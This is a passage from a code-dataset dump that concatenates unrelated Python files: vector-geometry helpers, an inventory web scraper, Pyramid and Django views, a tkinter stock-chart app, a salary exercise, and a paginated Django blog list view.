corners = np.zeros((8,3))\n corners[1,:] = vecs[0,:]\n corners[2,:] = vecs[1,:]\n corners[3,:] = vecs[2,:]\n corners[4,:] = vecs[0,:] + vecs[1,:]\n corners[5,:] = vecs[0,:] + vecs[2,:]\n corners[6,:] = vecs[1,:] + vecs[2,:]\n corners[7,:] = vecs[0,:] + vecs[1,:] + vecs[2,:]\n\n corners_rounded = convertToIntArr(corners, tolerance)\n return corners_rounded\n\n# Return X, Y and Z arrays for an edge trace of a box defined by 3 vectors (useful for plotting a box)\ndef getBoxXYZs(vecs, origin=np.array([0,0,0]), faceOnly=None):\n corners = getBoxCorners(vecs) \n \n #print('\\nvecs:')\n #print(vecs) \n #print('origin:')\n #print(origin)\n\n if faceOnly == 0:\n XYZ = np.empty((3,5))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[0,i],\n corners[1,i],\n corners[4,i],\n corners[2,i],\n corners[0,i]\n ])\n XYZ[i] += origin[i]\n\n elif faceOnly == 1:\n XYZ = np.empty((3,5))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[0,i],\n corners[1,i],\n corners[5,i],\n corners[3,i],\n corners[0,i]\n ])\n XYZ[i] += origin[i]\n\n elif faceOnly == 2:\n XYZ = np.empty((3,5))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[0,i],\n corners[2,i],\n corners[6,i],\n corners[3,i],\n corners[0,i]\n ])\n XYZ[i] += origin[i]\n\n elif faceOnly == 3:\n XYZ = np.empty((3,5))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[1,i],\n corners[4,i],\n corners[7,i],\n corners[5,i],\n corners[1,i]\n ])\n XYZ[i] += origin[i]\n\n elif faceOnly == 4:\n XYZ = np.empty((3,5))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[2,i],\n corners[4,i],\n corners[7,i],\n corners[6,i],\n corners[2,i]\n ])\n XYZ[i] += origin[i]\n\n elif faceOnly == 5:\n XYZ = np.empty((3,5))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[3,i],\n corners[5,i],\n corners[7,i],\n corners[6,i],\n corners[3,i]\n ])\n XYZ[i] += origin[i]\n\n else:\n XYZ = np.empty((3,16))\n for i in [0,1,2]:\n XYZ[i] = np.array([\n corners[0,i],\n corners[1,i],\n corners[4,i],\n corners[2,i],\n corners[0,i],\n corners[3,i],\n corners[5,i],\n corners[7,i],\n corners[6,i],\n corners[3,i],\n corners[5,i],\n corners[1,i],\n corners[4,i],\n corners[7,i],\n corners[6,i],\n corners[2,i]\n ])\n XYZ[i] += origin[i]\n\n return XYZ\n\ndef getAngle(vecA, vecB):\n return rowWiseAngles(vecA[np.newaxis], vecB[np.newaxis], tolerance=0)[0]\n\ndef getRotationMatrix( rotationAxis, angle_rad ):\n\n\t# Normalise rotationAxis to a unit vector:\n\trotationAxis_unit = rotationAxis / la.norm(rotationAxis)\n\n\t# Find the rotation matrix for a rotation about rotationAxis by rotationDeg\n\tcrossProdMat = np.zeros((3,3))\n\tcrossProdMat[0][1] = -rotationAxis_unit[2]\n\tcrossProdMat[0][2] = rotationAxis_unit[1]\n\tcrossProdMat[1][0] = rotationAxis_unit[2]\n\tcrossProdMat[1][2] = -rotationAxis_unit[0]\n\tcrossProdMat[2][0] = -rotationAxis_unit[1]\n\tcrossProdMat[2][1] = rotationAxis_unit[0]\n\n\trotMat_std = np.eye(3) + (np.sin(angle_rad) * crossProdMat) + ((1 - np.cos(angle_rad)) * np.dot(crossProdMat, crossProdMat))\n\n # return the transpose since we are operating on row vectors\n\treturn np.transpose(rotMat_std)\n\ndef getRowMags(arr):\n if len(arr.shape) == 1:\n arr = arr[np.newaxis]\n return np.sqrt( np.einsum('ij,ij->i', arr, arr) )\n\ndef getColMags(arr):\n if len(arr.shape) == 1:\n arr = arr[np.newaxis]\n return np.sqrt( np.einsum('ij,ij->j', arr, arr) )\n\ndef normaliseRowVecs(arr):\n if len(arr.shape) == 1:\n arr = arr[np.newaxis]\n\n arr_mag = getRowMags(arr)\n nz = np.where(np.any(arr!=0,axis=1))[0]\n arr_unit = np.copy(arr).astype(float) \n arr_unit[nz] = arr_unit[nz] / arr_mag[nz,np.newaxis]\n\n return arr_unit, arr_mag\n\ndef normaliseRowVecsList(list):\n a = []\n b = []\n for x in list:\n a_x,b_x = normaliseRowVecs(x)\n a.append(a_x)\n b.append(b_x)\n return a,b\n\ndef getEqualRowIndices(arr, scaleFactor=1, includeLoneRows=True):\n\n # Return a list of numpy arrays, each of which contains the indices of rows in arr \n # which are equal up to a scaleFactor\n\n indicesToTest = np.arange(len(arr))\n allEqualRowsIndices = []\n while len(indicesToTest) > 0:\n row = arr[indicesToTest[0]]\n equalRowsIndices = np.where( np.logical_or( np.all(arr==row,axis=1), np.all(arr==row*scaleFactor,axis=1) ) )[0] \n if includeLoneRows:\n allEqualRowsIndices.append(equalRowsIndices)\n elif len(equalRowsIndices) > 1:\n allEqualRowsIndices.append(equalRowsIndices)\n indicesToTest = np.setdiff1d(indicesToTest, equalRowsIndices)\n\n return allEqualRowsIndices\n\ndef getEqualIndices(arr, scaleFactor=1, tol=1e-1, includeLoneRows=True):\n\n # Return a list of numpy arrays, each of which contains the indices in arr \n # which are equal with tol\n\n indicesToTest = np.arange(len(arr))\n allEqualIndices = []\n while len(indicesToTest) > 0:\n elem = arr[indicesToTest[0]]\n equalIndices = np.where( abs(arr - elem) < tol )[0] \n if len(equalIndices) > 1:\n allEqualIndices.append(equalIndices)\n indicesToTest = np.setdiff1d(indicesToTest, equalIndices)\n\n return allEqualIndices\n\ndef locateMin(arr):\n smallest = min(arr)\n indices = np.where(arr == smallest)[0]\n return smallest, indices\n\ndef locateNearest(arr, target, tolerance=1E-8):\n diff = np.abs(arr-target)\n idx = diff.argmin()\n snapArrToValue(diff, diff[idx], tolerance)\n indices = np.where( diff == diff[idx] )[0]\n return arr[idx], indices\n\ndef rowPairMagProduct(arr):\n\n # given array of shape: (N,2,M), ie. an array of N pairs of rows of vectors of length M,\n # find the magnitudes of all rows and return the products of row-pair magnitudes as a 1D\n # array of length N\n\n return np.prod( np.sqrt( np.einsum('ijk,ijk->ij', arr, arr) ), axis=1 )\n\ndef rowWiseDotProduct(arr1,arr2):\n\n # Return array of dot products of arr1 and arr2 rows. Arr1 and/or arr2 may have 1 row.\n return np.sum(arr1*arr2, axis=-1)\n\ndef rowPairDotProduct(arr):\n\n # given array of shape: (N,2,M), ie. an array of N pairs of rows of vectors of length M\n # return an array of shape: (N,M), whose rows are the dot products of the row pairs \n return rowWiseDotProduct(arr[:,0], arr[:,1])\n\ndef rowPairCrossProduct(arr):\n\n # given array of shape: (N,2,3), ie. an array of N pairs of rows of vectors of length 3\n # return an array of shape: (N,3), whose rows are the cross products of the row pairs\n\n return np.cross( arr[:,0], arr[:,1] ) \n\ndef rowPairAngles(arr, ref=None):\n\n # given array of shape: (N,2,3), ie. an array of N pairs of rows of vectors of length 3,\n # find the angles (radians) between the row pairs and return as a 1D array of length N\n\n if ref is not None:\n m = rowPairMagProduct(arr)\n s = getRowMags(rowPairCrossProduct(arr))\n c = rowPairDotProduct(arr)\n return np.arctan2(s,c) * np.sign(np.dot(rowPairCrossProduct(arr), ref))\n\n else:\n return np.arccos( np.clip(rowPairDotProduct(arr) / rowPairMagProduct(arr), -1, 1) )\n\ndef rowWiseSine(arr1, arr2, tolerance=0):\n \n cross = np.cross(arr1,arr2) \n mags = getRowMags(arr1) * getRowMags(arr2)\n crossMag = getRowMags(cross)\n sines = crossMag/mags\n snapArrToValue(sines, 0, tolerance)\n snapArrToValue(sines, 1, tolerance)\n return sines\n\ndef rowWiseCosine(arr1, arr2, tolerance=0):\n \n dot = rowWiseDotProduct(arr1,arr2) \n mags = getRowMags(arr1) * getRowMags(arr2)\n cosines = dot/mags\n snapArrToValue(cosines, 0, tolerance)\n snapArrToValue(cosines, 1, tolerance)\n snapArrToValue(cosines, -1, tolerance)\n\n return np.clip(cosines, -1, 1)\n\ndef rowWiseAngles(arr1, arr2, tolerance=0):\n angles = np.arccos(rowWiseCosine(arr1,arr2,tolerance))\n return angles\n\ndef getNestedIndices(allLists, returnLists=False):\n\n allLengths = [len(i) for i in allLists]\n maxInd = prod(allLengths)\n nestedIndices = []\n\n for i in range(maxInd):\n\n indices = [None] * len(allLists) \n\n for idx, val in enumerate(allLists):\n \n remainingIndicesLengthProd = prod(allLengths[idx+1:])\n indices[idx] = int(i / remainingIndicesLengthProd) % allLengths[idx]\n\n nestedIndices.append(indices) \n\n if returnLists:\n outList = []\n for indices in nestedIndices:\n s = [allLists[i][indices[i]] for i in range(len(allLists))]\n outList.append(s)\n \n return nestedIndices, outList\n\n else: return nestedIndices\n \ndef getBoxVolume(box_std, absoluteValue=True): \n vol = np.dot( np.cross(box_std[0], box_std[1]), box_std[2] )\n if absoluteValue: vol = abs(vol)\n return vol\n\ndef findRowDifferences(arr):\n # given an array with innermost shape NxM, return an array with innermost shape (N-1)xM \n # representing the differences between adjacent rows \n return (np.roll(arr, -1, axis=(len(arr.shape)-2)) - arr)[...,:-1,:]\n\n\ndef plotVectorEqLine(dir, point, sampleRange):\n '''\n Use this function to test the logic behind picking constraints in CASTEP\n for constraining ions to move perpendicular to the boundary\n\n vector equation of a line: \n p = point through which line passes\n d = vector direction of line\n x = p_x + t*d_x\n y = p_y + t*d_y\n z = p_z + t*d_z\n So: \n ((x - p_x) / d_x) = ((y - p_y) / d_y) = ((z - p_z) / d_z)\n \n So (if d_x,d_y,d_z != 0):\n x*d_y - y*d_x = p_x*d_y - p_y*d_x = constant_1\n y*d_z - z*d_y = p_y*d_z - p_z*d_y = constant_2\n \n Right hand sides are constants, so can define two constraint equations\n of the form:\n\n x*alpha_1 + y*alpha_2 + z*alpha_3 = constant\n\n Or in CASTEP-speak: r_1*alpha_1 + r_2*alpha_2 + r_3*alpha_3 = constant\n\n 1st Constraint:\n alpha_1 = d_y, alpha_2 = -d_x, alpha_3 = 0\n\n 2nd constraint:\n alpha_1 = 0, alpha_2 = d_z, alpha_3 = -d_y\n\n Note that the constraint is specified by the direction vector (i.e. the normal\n to the boundary plane), but to apply the constraint (i.e. to test whether a \n particular point is \"allowed\"), we need the original point vector.\n\n '''\n XYZ = np.empty((len(sampleRange), 3))\n\n # Get points on the exact line\n for idx, t in enumerate(sampleRange):\n XYZ[idx] = (point[0] + t*dir[0], point[1] + t*dir[1], point[2] + t*dir[2])\n\n\n # Test point on a meshgrid if allowed given some tolerance\n # (If the above logic is correct, then these points should cluster around the exact line)\n\n constant_1 = point[0]*dir[1] - point[1]*dir[0]\n constant_2 = point[1]*dir[2] - point[2]*dir[1]\n\n x = np.arange(-5,6,1,dtype=np.float)\n y = np.copy(x)\n z = np.copy(x)\n\n xx, yy, zz = np.meshgrid(x, y, z)\n\n # centre the sampling grid on the point through which the line passes\n xx += point[0]\n yy += point[1]\n zz += point[2]\n\n constant_1_test = (xx * dir[1]) - (yy * dir[0])\n constant_2_test = (yy * dir[2]) - (zz * dir[1])\n\n print('\\nconstant_1 = {}'.format(constant_1))\n print('\\nconstant_2 = {}'.format(constant_2))\n\n #print('\\nconstant_1_test = ')\n #print(constant_1_test)\n #print('\\nconstant_2_test = ')\n #print(constant_2_test)\n\n tol = 0.01\n\n #test1 = (constant_1_test - constant_1)\n #print('\\ntest1')\n #print(test1)\n #print('\\n\\n')\n\n validIdx = np.where(np.logical_and((abs(constant_1_test - constant_1)) < tol, (abs(constant_2_test - constant_2)) < tol))\n\n #print('\\nvalidIdx:')\n #print(validIdx)\n \n validX = xx[validIdx]\n validY = yy[validIdx]\n validZ = zz[validIdx]\n\n #print('\\nvalidX')\n #print(validX)\n #print('\\nvalidY')\n #print(validY)\n #print('\\nvalidZ')\n #print(validZ)\n\n fig = plt.figure(1)\n ax = fig.add_subplot(111, projection='3d')\n plt.axis('equal')\n plt.xlabel('x')\n plt.ylabel('y') \n ax.scatter(point[0], point[1], point[2], color='red')\n ax.plot(XYZ[:,0], XYZ[:,1], XYZ[:,2])\n \n ax.scatter(xx,yy,zz, color='red',s=5)\n ax.scatter(validX,validY,validZ,s=100)\n plt.show() \n\n return XYZ\n\n\ndef reflectPointsInPlane(points, planeNormalVector, planeOrigin):\n \n \n n_unit = normaliseRowVecs(planeNormalVector)[0]\n\n print('points')\n print(points)\n print('planeNormalVector')\n print(planeNormalVector)\n print('planeOrigin')\n print(planeOrigin)\n print('n_unit')\n print(n_unit)\n print('points-planeOrigin')\n print(points-planeOrigin)\n \n distancesToBoundary = rowWiseDotProduct(n_unit, (points-planeOrigin))\n vecsToBoundary = distancesToBoundary[:,np.newaxis] * n_unit\n\n print('distancesToBoundary')\n print(distancesToBoundary)\n\n print('vecsToBoundary')\n print(vecsToBoundary)\n\n reflectedPoints = points - (2 * vecsToBoundary)\n\n return reflectedPoints\n\ndef transform2DMeshgrid(X,Y,S):\n \n # each row in points is an (x,y) pair\n points = np.empty((X.shape[0] * X.shape[1], 2))\n\n points[:,0] = np.reshape(X, -1)\n points[:,1] = np.reshape(Y, -1) \n\n # transform\n points = np.dot(points, S)\n\n # reshape back to original shape\n X_t = np.reshape(points[:,0], X.shape)\n Y_t = np.reshape(points[:,1], Y.shape)\n\n return X_t, Y_t\n\ndef rotate2D(vec, angle):\n #print('rotate2D: vec: {}'.format(vec))\n c = np.cos(angle)\n s = np.sin(angle)\n r = np.array([[c, -s], [s, c]])\n #print('rotate2D: r: {}'.format(r))\n vec = np.reshape(vec, (2,1))\n vec_r = np.dot(r, vec)\n return np.reshape(vec_r, -1)\n\ndef flattenMeshgrids(*meshgrids, addZerosIdx=[]):\n # combine p meshgrids of size s into a numpy array of shape: (s, p)\n # if addZerosIdx, add a zero to each each row of out, for each colIdx specified in addZerosIdx\n\n while isinstance(meshgrids[0], tuple) or isinstance(meshgrids[0], list):\n meshgrids = meshgrids[0]\n\n meshgrids = list(meshgrids) \n\n if len(addZerosIdx) > 0:\n for zeros_idx in addZerosIdx:\n meshgrids.insert(zeros_idx, np.zeros(meshgrids[0].shape))\n\n p = len(meshgrids)\n s = meshgrids[0].size \n out = np.empty((s,p))\n idx = np.empty((s,p), dtype=int)\n\n for m_idx, m in enumerate(meshgrids):\n out[:,m_idx] = np.reshape(m,-1) \n\n idx = mFuncs.nestedIndices(meshgrids[0].shape)\n\n return out, idx\n","sub_path":"vectorFunctions.py","file_name":"vectorFunctions.py","file_ext":"py","file_size_in_byte":22407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"292575966","text":"import requests\nfrom lxml import html\nimport pandas\netree=html.etree\ndef get_data(i):\n resp=requests.get('http://cms.vogueda.com/freeplatformCms/purchase/listEspeciallyInventoryIId/{}.htm'.format(i))\n htmm=etree.HTML(resp.text)\n tr_list=htmm.xpath('//table[@class=\"data-grid\"]/tr')\n l1,l2,l3,l4,l5,l6,l7,l8,l9=[],[],[],[],[],[],[],[],[]\n for tr in tr_list:\n td_list=tr.xpath('./td')\n goods_id=td_list[1].xpath('./b/text()')[0].strip();#l1.append(goods_id) #款式编码\n image_url=td_list[1].xpath('./a/img/@src')[0].strip() if len(td_list[1].xpath('./a/img/@src'))>0 else '无数据'; #图片链接\n kucun = td_list[2].xpath('./span/text()')[0].strip();#l2.append(kucun) #库存数\n ban_status= td_list[2].xpath('./span/text()')[1].strip();#l3.append(ban_status) #版状态\n ban_date=td_list[2].xpath('./span/text()')[2].strip();#l4.append(ban_date) #送版日期 下表3的是还版日期\n jijie = td_list[2].xpath('./span/text()')[4].strip();#l5.append(jijie) # 季节标签\n son_tr_list=td_list[3].xpath('./table/tbody/tr[@style]')\n for sontr in son_tr_list:\n shangpinbianma=sontr.xpath('./td[2]/text()')[0].strip();l6.append(shangpinbianma)\n yanseguige=sontr.xpath('./td[3]/text()')[0].strip();l7.append(yanseguige)\n kucunshuliang=sontr.xpath('./td[4]/text()')[0].strip();l8.append(kucunshuliang)\n # l1+=[goods_id]*len(shangpinbianma)\n # l2+= [kucun] * len(shangpinbianma)\n # l3 += [ban_status] * len(shangpinbianma)\n # l4 += [ban_date] * len(shangpinbianma)\n # l5 += [jijie] * len(shangpinbianma)\n l1.append(goods_id)\n l2.append(kucun)\n l3.append(ban_status)\n l4.append(ban_date)\n l5.append(jijie)\n l9.append(image_url)\n colu=['goods_id',\"kucun\",\"ban_status\",\"ban_date\",\"jijie\",\"shangpinbianma\",\"yanseguige\",\"kucunshuliang\",'image_url']\n return pandas.DataFrame([l1,l2,l3,l4,l5,l6,l7,l8,l9],index=colu).T\n # pandas.DataFrame([l1,l2,l3,l4,l5,l6,l7,l8],index=colu).T.to_excel(\"聚仓商品.xlsx\")\n\nif __name__ == '__main__':\n all_dt=pandas.DataFrame()\n for i in range(1,22):\n print(i)\n dt=get_data(i)\n all_dt=all_dt.append(dt)\n all_dt.to_excel(\"所有聚仓数据.xlsx\")","sub_path":"Administrator/crawler_data.py","file_name":"crawler_data.py","file_ext":"py","file_size_in_byte":2365,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"192423821","text":"from .meta import *\n\n\n@view_config(request_method=\"GET\", route_name=\"user\", renderer=\"json\")\ndef user_read(request):\n try:\n user_id = int(request.matchdict[\"user_id\"])\n user = DBSession.query(User).filter(User.user_id==user_id).one()\n return user\n except (NoResultFound, ValueError):\n raise NotFound(\"User %r not found\" % user_id)\n\n\n@view_config(request_method=\"PUT\", route_name=\"user\", renderer=\"json\")\ndef user_update(request):\n try:\n user_id = int(request.matchdict[\"user_id\"])\n user = DBSession.query(User).filter(User.user_id==user_id).one()\n if \"name\" in request.json_body:\n user.name = request.json_body[\"name\"]\n if \"username\" in request.json_body:\n user.username = request.json_body[\"username\"]\n if \"email\" in request.json_body:\n user.email = request.json_body[\"email\"]\n return user\n except (NoResultFound, ValueError):\n raise NotFound(\"User %r not found\" % user_id)\n","sub_path":"adbweb/views/user.py","file_name":"user.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"130237712","text":"import finplot as fplt\r\nimport yfinance as yf\r\nfrom tkinter import *\r\nimport re\r\nfrom tkinter import messagebox \r\nfrom tkinter import Menu\r\nroot = Tk()\r\nroot.geometry('800x500')\r\n#ENTRY BOXES\r\nTicker_entry = Entry(root,width = 30)\r\nTicker_entry.pack()\r\nTicker_entry.insert(0,'Enter ticker')\r\nStart_entry = Entry(root,width = 30)\r\nStart_entry.pack()\r\nStart_entry.insert(0,'Enter Start date(yyyy-mm-dd)')\r\nEnd_entry = Entry(root,width = 30)\r\nEnd_entry.pack()\r\nEnd_entry.insert(0,'Enter End date(yyyy-mm-dd)')\r\nInterval_entry = Entry(root,width = 30)\r\nInterval_entry.pack()\r\nInterval_entry.insert(0,'Enter Interval')\r\n#ENTRY BOXES\r\n#error box\r\nmenuBar = Menu(root)\r\nroot.config(menu=menuBar)\r\ndef _msgBox(): \r\n messagebox.showerror(\"Error\",'Please enter correct format of date in yy-mm-dd')\r\n infoMenu=Menu(menuBar,tearoff=0)\r\n infoMenu.add_command(command = _msgBox)\r\n\r\ndef input_ticker():\r\n pattern = r'\\d{4}-\\d{2}-\\d{2}'\r\n match_start = re.match(pattern,Start_entry.get())\r\n match_end = re.match(pattern,End_entry.get())\r\n match_start_result = bool(match_start)\r\n match_end_result = bool(match_end)\r\n if match_start_result == False or match_end_result == False:\r\n _msgBox()\r\n else:\r\n stats = yf.download(tickers=Ticker_entry.get(),start = Start_entry.get(),end = End_entry.get(),interval=Interval_entry.get())\r\n fplt.candlestick_ochl(stats[['Open','High','Low','Close']])\r\n fplt.show()\r\n#making button\r\nbtn = Button(root,text = 'submit',command=input_ticker)\r\nbtn.pack()\r\nroot.mainloop()\r\n","sub_path":"stock_finplot.py","file_name":"stock_finplot.py","file_ext":"py","file_size_in_byte":1547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"83289023","text":"from backend.models import *\nfrom django.views.generic import TemplateView\nfrom django.shortcuts import render, redirect\nfrom frontend.util import get_server\n\nimport logging\nlogger = logging.getLogger(__name__)\n\n# css frontend\nclass PersonView(TemplateView):\n # list all persons and render them into the frontend\n def create_context(self, request):\n person_list = Person.objects.all()\n # get current person id from url\n pk = self._getPersonPk(request)\n person = Person.objects.get(pk=int(pk))\n pred_acts = person.predicted_activities.all()\n activity_list = Activity.objects.all()\n syn_act_list = SyntheticActivity.objects.filter(person=person)\n person_list = Person.objects.all()\n try:\n smartphone = person.smartphone\n except:\n smartphone = None\n qr_code_data = self.generate_qr_code_data(person)\n sm_download_link = settings.ACT_ASSIST_RELEASE_LINK\n context = {\n 'person' : person,\n 'smartphone' : smartphone, \n 'person_list' : person_list,\n 'activity_list' : activity_list,\n 'synthetic_activity_list': syn_act_list,\n 'qr_code_data' : qr_code_data,\n 'qr_code_sm_download' : sm_download_link,\n }\n if person.person_statistic is not None:\n context['ps'] = person.person_statistic\n if pred_acts is not None:\n context['predicted_activities'] = pred_acts\n return context\n\n def _getPersonPk(self, request):\n pk = request.POST.get(\"pk\", \"\")\n if pk == \"\":\n if request.get_full_path().split(\"/\")[-1] == \"\":\n return request.get_full_path().split(\"/\")[-2]\n else:\n return request.get_full_path().split(\"/\")[-1]\n else:\n return pk\n\n\n\n def get(self, request):\n context = self.create_context(request)\n return render(request, 'person.html', context)\n\n def _get_activity_by_name(self, name):\n act_list = Activity.objects.all()\n for act in act_list:\n if act.name == name:\n return act\n\n def create_syn_act(self, request):\n activity_name = request.POST.get(\"activity_name\", \"\")\n day_of_week = request.POST.get(\"day_of_week\", \"\")\n start = request.POST.get(\"start\", \"\")\n end = request.POST.get(\"end\", \"\")\n\n start_time = datetime.time.fromisoformat(start)\n end_time = datetime.time.fromisoformat(end)\n\n pk = request.get_full_path().split(\"/\")[-1]\n person = Person.objects.get(pk=int(pk))\n activity = self._get_activity_by_name(activity_name)\n syn_act = SyntheticActivity(\n person=person,\n start=start_time,\n synthetic_activity=activity,\n end=end_time,\n day_of_week=day_of_week\n )\n syn_act.save()\n\n def delete_syn_act(self, request):\n pk = request.POST.get(\"pk\", \"\")\n syn_act = SyntheticActivity.objects.get(pk=int(pk))\n syn_act.delete()\n\n def update_syn_act(self, request):\n pk = request.POST.get(\"pk\", \"\")\n day_of_week = request.POST.get(\"day_of_week\", \"\")\n start = request.POST.get(\"start\", \"\")\n end = request.POST.get(\"end\", \"\")\n\n syn_act = SyntheticActivity.objects.get(pk=int(pk))\n start_time = datetime.time.fromisoformat(start)\n end_time = datetime.time.fromisoformat(end)\n syn_act.start = start_time\n syn_act.end = end_time\n syn_act.day_of_week = day_of_week\n syn_act.save()\n\n def _get_person_from_request(self, request):\n pk = request.POST.get(\"pk\", \"\")\n return Person.objects.filter(pk=int(pk))[0]\n\n def retrieve_retrieve_syn_acts(self, request):\n from django.http import JsonResponse\n from .algorithm import AlgorithmView\n person = self._get_person_from_request(request)\n act_data = AlgorithmView.get_activity_data(person)\n loc_data = AlgorithmView.get_location_data()\n resp = {'activity_data': act_data, 'loc_data': loc_data}\n return JsonResponse(resp)\n\n def post(self, request):\n intent = request.POST.get(\"intent\",\"\")\n #create object not through serialzier\n if (intent == \"create_syn_act\"):\n self.create_syn_act(request)\n\n elif (intent == \"delete_syn_act\"):\n self.delete_syn_act(request)\n\n elif (intent == \"update_syn_act\"):\n self.update_syn_act(request)\n\n elif (intent == \"export_data\"):\n return self.retrieve_retrieve_syn_acts(request)\n\n context = self.create_context(request)\n return render(request, 'person.html', context)\n\n def generate_qr_code_data(self, person):\n url = get_server().server_address\n data = \"{\"\n data += \"\\\"person\\\" : \\\"{}\\\" , \".format(person.name)\n data += \"\\\"username\\\" : \\\"{}\\\" , \".format('admin')\n data += \"\\\"password\\\" : \\\"{}\\\" , \".format('asdf')\n data += \"\\\"url_person\\\" : \\\"persons/{}/\\\" ,\".format(str(person.id))\n data += \"\\\"url_api\\\" : \\\"{}/{}/\\\"\".format(url, settings.REST_API_URL)\n data += \"}\"\n return data","sub_path":"web/frontend/views/person.py","file_name":"person.py","file_ext":"py","file_size_in_byte":5243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"183454116","text":"''' 6. Um funcionário recebe um salário fixo mais 4% de comissão sobre as vendas.\r\n Faça um programa que receba o salário fixo do funcionário e o valor de suas vendas,\r\n calcule e mostre a comissão e seu salário final.\r\n'''\r\n\r\nsalario_fixo = float(input('Insira o valor do salário fixo: '))\r\nvalor_em_vendas = float(input('Insira o valor em vendas: '))\r\n\r\ncomissao = valor_em_vendas*4 / 100\r\n\r\nsalario_final = salario_fixo + comissao\r\n\r\nprint('Comissao: %.2f \\nSalario Final: %.2f' % (comissao, salario_final))#os parenteses é necessário para combinar as variáveis no txt\r\n","sub_path":"Capítulo03/questao6.py","file_name":"questao6.py","file_ext":"py","file_size_in_byte":597,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"21"} +{"seq_id":"621711107","text":"from django.shortcuts import render\nfrom django.http import HttpResponse\n\nfrom .models import Post,Category,Tag\nfrom django.shortcuts import render,get_object_or_404\n\nimport markdown\n\nfrom comments.forms import CommentForm#评论\n\nfrom django.views.generic import ListView,DetailView\n\nfrom django.utils.text import slugify\nfrom markdown.extensions.toc import TocExtension\n\nfrom django.db.models import Q\n\nclass IndexView(ListView):\n model=Post\n template_name='blog/index.html'\n context_object_name='post_list'\n #将 index 视图函数改写为类视图\n #继承于ListView类视图,ListView 是从数据库中获取某个模型列表数据的\n #三个属性model、template_name、context_object指定此视图函数要做的事\n #将 model 指定为 Post,告诉 Django 我要获取的模型是 Post。\n #template_name指定为blog/index.html。指定这个视图渲染的模板。\n #context_object_name指定获取的模型列表数据保存为的变量名。这个变量传递给模板。\n paginate_by=5\n # 指定 paginate_by 属性后开启分页功能,其值代表每一页包含多少篇文章\n \n def get_context_data(self, **kwargs):\n \"\"\"\n 在视图函数中将模板变量传递给模板是通过给 render 函数的 context 参数传递一个字典实现的,\n 例如 render(request, 'blog/index.html', context={'post_list': post_list}),\n 这里传递了一个 {'post_list': post_list} 字典给模板。\n 在类视图中,这个需要传递的模板变量字典是通过 get_context_data 获得的,\n 所以我们复写该方法,以便我们能够自己再插入一些我们自定义的模板变量进去。\n \"\"\"\n\n # 首先获得父类生成的传递给模板的字典。\n context = super().get_context_data(**kwargs)\n\n # 父类生成的字典中已有 paginator、page_obj、is_paginated 这三个模板变量,\n # paginator 是 Paginator 的一个实例,\n # page_obj 是 Page 的一个实例,\n # is_paginated 是一个布尔变量,用于指示是否已分页。\n # 例如如果规定每页 10 个数据,而本身只有 5 个数据,其实就用不着分页,此时 is_paginated=False。\n # 关于什么是 Paginator,Page 类在 Django Pagination 简单分页:http://zmrenwu.com/post/34/ 中已有详细说明。\n # 由于 context 是一个字典,所以调用 get 方法从中取出某个键对应的值。\n paginator = context.get('paginator')\n page = context.get('page_obj')\n is_paginated = context.get('is_paginated')\n\n # 调用自己写的 pagination_data 方法获得显示分页导航条需要的数据,见下方。\n pagination_data = self.pagination_data(paginator, page, is_paginated)\n\n # 将分页导航条的模板变量更新到 context 中,注意 pagination_data 方法返回的也是一个字典。\n context.update(pagination_data)\n\n # 将更新后的 context 返回,以便 ListView 使用这个字典中的模板变量去渲染模板。\n # 注意此时 context 字典中已有了显示分页导航条所需的数据。\n return context\n\n def pagination_data(self, paginator, page, is_paginated):\n if not is_paginated:\n # 如果没有分页,则无需显示分页导航条,不用任何分页导航条的数据,因此返回一个空的字典\n return {}\n\n # 当前页左边连续的页码号,初始值为空\n left = []\n\n # 当前页右边连续的页码号,初始值为空\n right = []\n\n # 标示第 1 页页码后是否需要显示省略号\n left_has_more = False\n\n # 标示最后一页页码前是否需要显示省略号\n right_has_more = False\n\n # 标示是否需要显示第 1 页的页码号。\n # 因为如果当前页左边的连续页码号中已经含有第 1 页的页码号,此时就无需再显示第 1 页的页码号,\n # 其它情况下第一页的页码是始终需要显示的。\n # 初始值为 False\n first = False\n\n # 标示是否需要显示最后一页的页码号。\n # 需要此指示变量的理由和上面相同。\n last = False\n\n # 获得用户当前请求的页码号\n page_number = page.number\n\n # 获得分页后的总页数\n total_pages = paginator.num_pages\n\n # 获得整个分页页码列表,比如分了四页,那么就是 [1, 2, 3, 4]\n page_range = paginator.page_range\n\n if page_number == 1:\n # 如果用户请求的是第一页的数据,那么当前页左边的不需要数据,因此 left=[](已默认为空)。\n # 此时只要获取当前页右边的连续页码号,\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 right = [2, 3]。\n # 注意这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n right = page_range[page_number:page_number + 2]\n\n # 如果最右边的页码号比最后一页的页码号减去 1 还要小,\n # 说明最右边的页码号和最后一页的页码号之间还有其它页码,因此需要显示省略号,通过 right_has_more 来指示。\n if right[-1] < total_pages - 1:\n right_has_more = True\n\n # 如果最右边的页码号比最后一页的页码号小,说明当前页右边的连续页码号中不包含最后一页的页码\n # 所以需要显示最后一页的页码号,通过 last 来指示\n if right[-1] < total_pages:\n last = True\n\n elif page_number == total_pages:\n # 如果用户请求的是最后一页的数据,那么当前页右边就不需要数据,因此 right=[](已默认为空),\n # 此时只要获取当前页左边的连续页码号。\n # 比如分页页码列表是 [1, 2, 3, 4],那么获取的就是 left = [2, 3]\n # 这里只获取了当前页码后连续两个页码,你可以更改这个数字以获取更多页码。\n left = page_range[(page_number - 3) if (page_number - 3) > 0 else 0:page_number - 1]\n\n # 如果最左边的页码号比第 2 页页码号还大,\n # 说明最左边的页码号和第 1 